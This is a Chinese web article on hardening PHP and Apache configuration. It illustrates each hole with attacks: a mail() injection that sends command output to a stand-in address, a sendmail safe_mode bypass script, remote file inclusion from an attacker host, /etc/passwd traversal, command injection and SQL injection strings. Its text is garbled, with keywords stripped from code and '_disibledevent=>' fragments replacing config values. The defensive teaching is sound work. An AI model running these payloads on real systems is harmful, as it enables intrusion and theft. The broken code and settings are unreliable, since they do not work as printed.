专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »网站安全 » phpnow安全配置:PHP安全配置 »正文

phpnow安全配置:PHP安全配置

来源: 发布时间:星期二, 2009年10月13日 浏览:10次 评论:0
、Web服务器安全

PHP其实不过是Web服务器个模块功能所以首先要保证Web服务器安全当然Web服务器要安全又必须是先保证系统安全这样就扯远了无穷无尽PHP可以和各种Web服务器结合这里也只讨论Apache非常建议以chroot方式安装启动Apache这样即使Apache和PHP及其脚本出现漏洞受影响也只有这个禁锢系统不会危害实际系统但是使用chrootApache后给应用也会带来麻烦比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现连接这在效率上会稍微差还有mail发送邮件也是个问题php.ini里:

[mail function]
; For Win32 _disibledevent=>
; For Win32 _disibledevent=>[email protected]

都是针对Win32平台所以需要在chroot环境下调整好sendmail

2、PHP本身问题

1、远程溢出

PHP-4.1.2以下所有版本都存在文件上传远程缓冲区溢出漏洞而且攻击已经广泛流传成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞虽然不能获得本地用户权限但是也能造成拒绝服务

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail绕过safe_mode限制执行命令漏洞4.0.5版本开始mail增加了第 5个参数由于设计者考虑不周可以突破safe_mode限制执行命令其中4.0.5版本突破非常简单只需用分号隔开后面加shell命令就可以了比如存在PHP脚本evil.php:

<? mail("foo@bar,"foo","bar","",$bar); ?>

执行如下URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@do.com

这将id执行结果发送给evil@do.com

对于4.0.6至4.2.2PHP突破safe_mode限制其实是利用了sendmail-C参数所以系统必须是使用sendmail如下代码能够突破safe_mode限制执行命令:

<?
# 注意下面这两个必须是不存在或者它们属主和本脚本属主是
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP用户定要及时升级到最新版本这样才能消除基本安全问题

3、PHP本身安全配置

PHP配置非常灵活可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置还可以在脚本里使用ini_及其他特定进行设置通过phpinfo和get_cfg_var可以得到配置选项各个值

如果配置选项是唯PHP_INI_SYSTEM属性必须通过php.ini和httpd.conf来修改它们修改是PHPMaster值但修改的后必须重启apache才能生效其中php.ini设置选项是对Web服务器所有脚本生效httpd.conf里设置选项是对该定义目录下所有脚本生效

如果还有其他PHP_INI_USER,  PHP_INI_PERDIR, PHP_INI_ALL属性选项就可以使用.htaccess文件设置也可以通过在脚本自身用ini_设定它们修改是Local值改了以后马上生效但是.htaccess只对当前目录脚本生效ini_只对该脚本设置ini_以后代码生效各个版本选项属性可能不尽相同可以用如下命令查找当前源代码.c文件得到所有选项以及它属性:

# grep PHP_INI_ /PHP_SRC//.c

在讨论PHP安全配置的前应该好好了解PHPsafe_mode模式

1、safe_mode

safe_mode是唯PHP_INI_SYSTEM属性必须通过php.ini或httpd.conf来设置要启用safe_mode只需修改php.ini:

safe_mode = _disibledevent=>
设置了safe_mode以后所有命令执行将被限制只能执行php.ini里safe_mode_exec_dir指定目录里而且shell_exec、`ls -l`这种执行命令方式会被禁止如果确实需要其它可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝到该目录那么php脚本就可以用system等来执行该而且该目录里shell脚本还是可以其它目录里系统命令

safe_mode__dir
当从此目录及其子目录(目录必须在 _path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查

从 PHP 4.2.0 开始本指令可以接受和 _path 指令类似风格用分号隔开路径而不只是个目录

指定限制实际上是个前缀而非个目录名这也就是说“safe_mode__dir = /dir/incl”将允许访问“/dir/”和“/dir/incls”如果它们存在如果您希望将访问控制在个指定目录那么请在结尾加上个斜线例如:“safe_mode__dir = /dir/incl/”

safe_mode_allowed_env_vars
设置某些环境变量可能是潜在安全缺口本指令包含有个逗号分隔前缀列表在安全模式下用户只能改变那些名字具有在这里提供前缀环境变量默认情况下用户只能设置以 PHP_ 开头环境变量(例如 PHP_FOO = BAR)

注: 如果本指令为空PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars
本指令包含有个逗号分隔环境变量列表最终用户不能用 putenv 来改变这些环境变量甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量

虽然safe_mode不是万能(低版本PHP可以绕过)但还是强烈建议打开安全模式定程度上能够避免些未知攻击不过启用safe_mode会有很多限制可能对应用带来影响所以还需要调整代码和配置才能和谐被安全模式限制或屏蔽可以参考PHP手册

讨论完safe_mode后下面结合代码实际可能出现问题讨论如何通过对PHP服务器端配置来避免出现漏洞

2、变量滥用

PHP默认register_globals = _disibledevent=>
<?
//test_1.php

($pass "hello")
    $auth = 1;

($auth 1)
    echo "some important information";

    echo "nothing";
?>

攻击者只需用如下请求就能绕过检查:
http://victim/test_1.php?auth=1

这虽然是个很弱智些著名也有犯过这种比如phpnuke远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0发布时候建议关闭register_globals并提供了7个特殊变量来使用各种变量对于从GET、POST、COOKIE等来变量并不会直接注册成变量必需通过变量来存取PHP-4.2.0发布时候php.ini默认配置就是register_globals = Off这使得使用PHP自身默认值般为0避免了攻击者控制判断变量

解决思路方法:

配置文件php.ini设置register_globals = Off

要求员对作为判断变量在最开始个值

3、文件打开

极易受攻击代码片断:

<?
//test_2.php

(!($str = readfile("$filename"))) {
    echo("Could not open file: $filename<BR>\n");
    exit;
}
{
    echo $str;
}
?>

由于攻击者可以指定任意$filename攻击者用如下请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开还有fopen, file如果对文件名变量检查不严就会造成服务器重要文件被访问读取

解决思路方法:

如非特殊需要把php文件操作限制在web目录里面以下是修改apache配置文件httpd.conf个例子:

<Directory /usr/local/apache/htdocs>
    php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重启apache后/usr/local/apache/htdocs目录下PHP脚本就只能操作它自己目录下文件了否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx _disibledevent=>http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版PHP(Win版PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务机器上建立个包含shell命令文件如http://attack/attack.txt内容是<?passthru("ls /etc")?>那么如下请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache日志文件access.log和error.log来得到执行命令代码不过由于干扰信息太多有时不易成功
对于另外种形式如下代码片断:

<?
//test_4.php

("$lib/config.php");
?>

攻击者可以在自己主机建立个包含执行命令代码config.php文件然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP包含, _once, require, require_once如果对包含文件名变量检查不严就会对系统造成严重危险可以远程执行命令

解决思路方法:

要求员包含文件里参数尽量不要使用变量如果使用变量定要严格检查要包含文件名绝对不能由用户任意指定

如前面文件打开中限制PHP操作路径是个必要选项另外如非特殊需要定要关闭PHP远程文件打开功能修改php.ini文件:

allow_url_fopen = Off

重启apache

5、文件上传

php文件上传机制是把用户上传文件保存在php.iniupload_tmp_dir定义临时目录(默认是系统临时目录如:/tmp)里个类似phpxXuoXG随机临时文件执行结束该临时文件也被删除PHP给上传文件定义了 4个变量:(如form变量名是file而且register_globals打开)

$file        #就是保存到服务器端临时文件(如/tmp/phpxXuoXG )
$file_size    #上传文件大小
$file_name    #上传文件原始名称
$file_type    #上传文件类型

推荐使用:

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

这是个最简单文件上传代码:

<?
//test_5.php

(is($upload) && $file != "none") {
    copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
    echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>";
    exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; char=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file"  name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>

这样上传代码存在读取任意文件和执行命令重大问题
下面请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下attack.txt文件里:

http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

然后可以用如下请求读取口令文件:

http://victim/test/attack.txt

攻击者可以把php文件拷贝成其它扩展名泄漏脚本源代码
攻击者可以自定义form里file_name变量上传覆盖任意有写权限文件
攻击者还可以上传PHP脚本执行主机命令

解决思路方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file可以检查操作文件是否是用户上传文件从而避免把系统文件拷贝到web目录
使用$HTTP_POST_FILES来读取用户上传文件变量
严格检查上传变量比如不允许是php脚本文件

把PHP脚本操作限制在web目录可以避免员使用copy把系统文件拷贝到web目录move_uploaded_file不受open_basedir限制所以不必修改php.ini里upload_tmp_dir
把PHP脚本用phpencode进行加密避免由于copy操作泄漏源码
严格配置文件和目录权限只允许上传目录能够让nobody用户可写
对于上传目录去掉PHP解释功能可以通过修改httpd.conf实现:

<Directory /usr/local/apache/htdocs/upload>
      php_flag engine off
      #如果是php3换成php3_engine off
</Directory>

重启apacheupload目录php文件就不能被apache解释了即使上传了php文件也没有问题只能直接显示源码

6、命令执行

下面代码片断是从PHPNetToolpack摘出详细描述见:

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由于没有过滤$a_query变量所以攻击者可以用分号来追加执行命令

攻击者输入如下请求可以执行cat /etc/passwd命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP命令执行还有system, passthru, popen和``等命令执行非常危险慎用如果要使用定要严格检查用户输入

解决思路方法:

要求员使用escapeshellcmd过滤用户输入shell命令

启用safe_mode可以杜绝很多执行命令问题不过要注意PHP版本定要是最新小于PHP-4.2.2都可能绕过safe_mode限制去执行命令

7、sql_inject

如下SQL语句如果未对变量进行处理就会存在问题:

select * from login where user='$user' and pass='$pass'

攻击者可以用户名和口令都输入1' or 1='1绕过验证

不过幸亏PHP有个默认选项magic_quotes_gpc = _disibledevent=>
从而避免了此类sql_inject攻击

对于数字类型字段很多员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来就会造成sql_inject攻击幸亏MySQL功能简单没有sqlserver等数据库有执行命令SQL语句而且PHPmysql_query也只允许执行条SQL语句所以用分号隔开多条SQL语句攻击也不能奏效但是攻击者起码还可以让查询语句出错泄漏系统些信息或者些意想不到情况

解决思路方法:

要求员对所有用户提交要放到SQL语句变量进行过滤
即使是数字类型字段变量也要用单引号扩起来MySQL自己会把字串处理成数字
在MySQL里不要给PHP高级别权限用户只允许对自己库进行操作这也避免了出现问题被 SELECT INTO OUTFILE ... 这种攻击

8、警告及信息

PHP默认显示所有警告及信息:

error_reporting  =  E_ALL & ~E_NOTICE
display_errors = _disibledevent=>display_errors = Off
log_errors = _disibledevent=>
然后重启apache注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写

9、disable_functions

如果觉得有些还有威胁可以设置php.ini里disable_functions(这个选项不能在httpd.conf里设置)比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个用逗号分开重启apache后phpinfo, get_cfg_var都被禁止了建议关闭phpinfo, get_cfg_var这两个容易泄漏服务器信息而且没有实际用处

10、disable_es

这个选项是从PHP-4.3.2开始才有它可以禁用某些类如果有多个用逗号分隔类名disable_es也不能在httpd.conf里设置只能在php.ini配置文件里修改

11、open_basedir

前面分析例程时候也多次提到用open_basedir对脚本操作路径进行限制这里再介绍下它特性用open_basedir指定限制实际上是前缀不是目录名也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/" 和 "/dir/incls"如果它们存在如果要将访问限制在仅为指定目录用斜线结束路径名例如:"open_basedir = /dir/incl/"
可以设置多个目录在Windows中用分号分隔目录在任何其它系统中用冒号分隔目录作为Apache模块时父目录中open_basedir路径自动被继承

4、其它安全配置

1、取消其它用户对常用、重要系统命令读写执行权限

般管理员维护只需个普通用户和管理用户除了这两个用户给其它用户能够执行和访问东西应该越少越好所以取消其它用户对常用、重要系统命令读写执行权限能在或者服务出现漏洞时候给攻击者带来很大迷惑记住定要连读权限也去掉否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行
如果要取消某程如果是在chroot环境里这个工作比较容易实现否则这项工作还是有些挑战取消执行权限会导致些服务运行不正常PHPmail需要/bin/sh去sendmail发信所以/bin/bash执行权限不能去掉这是项比较累人工作

2、去掉apache日志其它用户读权限

apacheaccess-log给些出现本地包含漏洞提供了方便的门通过提交包含PHP代码URL可以使access-log包含PHP代码那么把包含文件指向access-log就可以执行那些PHP代码从而获得本地访问权限
如果有其它虚拟主机也应该相应去掉该日志文件其它用户读权限

当然如果你按照前面介绍配置PHP那么般已经是无法读取日志文件了
0

相关文章

读者评论

发表评论

  • 昵称:
  • 内容: